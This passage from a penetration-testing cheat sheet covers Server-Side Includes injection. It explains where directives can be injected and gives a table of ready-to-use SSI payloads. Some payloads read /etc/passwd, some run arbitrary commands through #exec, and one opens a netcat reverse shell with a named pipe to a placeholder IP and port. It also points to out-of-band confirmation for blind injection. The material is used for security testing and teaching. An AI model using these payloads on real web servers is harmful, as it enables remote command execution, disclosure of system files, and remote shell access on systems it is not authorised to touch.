.shtml, .shtm, and .stm. However, web servers can be configured to support SSI directives in arbitrary file extensions, so the extension alone is never conclusive proof that SSI is (or isn’t) in use.
Finding Injection Points
SSI injection occurs when an attacker can get SSI directives into a file that the web server subsequently parses and serves. This typically happens in one of two ways:- File upload - a vulnerable upload feature lets an attacker drop a file containing SSI directives into the web root, and the server is configured to parse that extension.
- Reflected user input - a web application writes user input directly into a file served from the web root (a guestbook, a comment stored as static HTML, a generated log page, etc.) without sanitizing SSI delimiters. Test by submitting a low noise, easily recognizable directive into any input you suspect ends up on disk, then requesting the page back
SSI Directives
SSI usesdirectives to add dynamically generated content to an otherwise static HTML page, with the syntax:
| Description | Payload |
|---|---|
| Print the date | {/* #echo var="DATE_LOCAL" */} |
| Print the document name | {/* #echo var="DOCUMENT_NAME" */} |
| Print all the variables | {/* #printenv */} |
| Setting variables | {/* #set var="name" value="Rich" */} |
| Include a file | {/* #include file="/etc/passwd" */} |
| Include a file | {/* #include virtual="/index.html" */} |
| Execute commands | {/* #exec cmd="ls" */} |
| Reverse shell | {/* #exec cmd="mkfifo /tmp/f;nc IP PORT 0</tmp/f\|/bin/bash 1>/tmp/f;rm /tmp/f" */} |
Blind SSI Injection
If command output isn’t reflected back in the page (the directive executes but you never see a result), confirm execution out-of-band instead of relying on reflected output.Quick Reference Tools
PayloadsAllTheThings: SSI Injection
PayloadsAllTheThings Reference

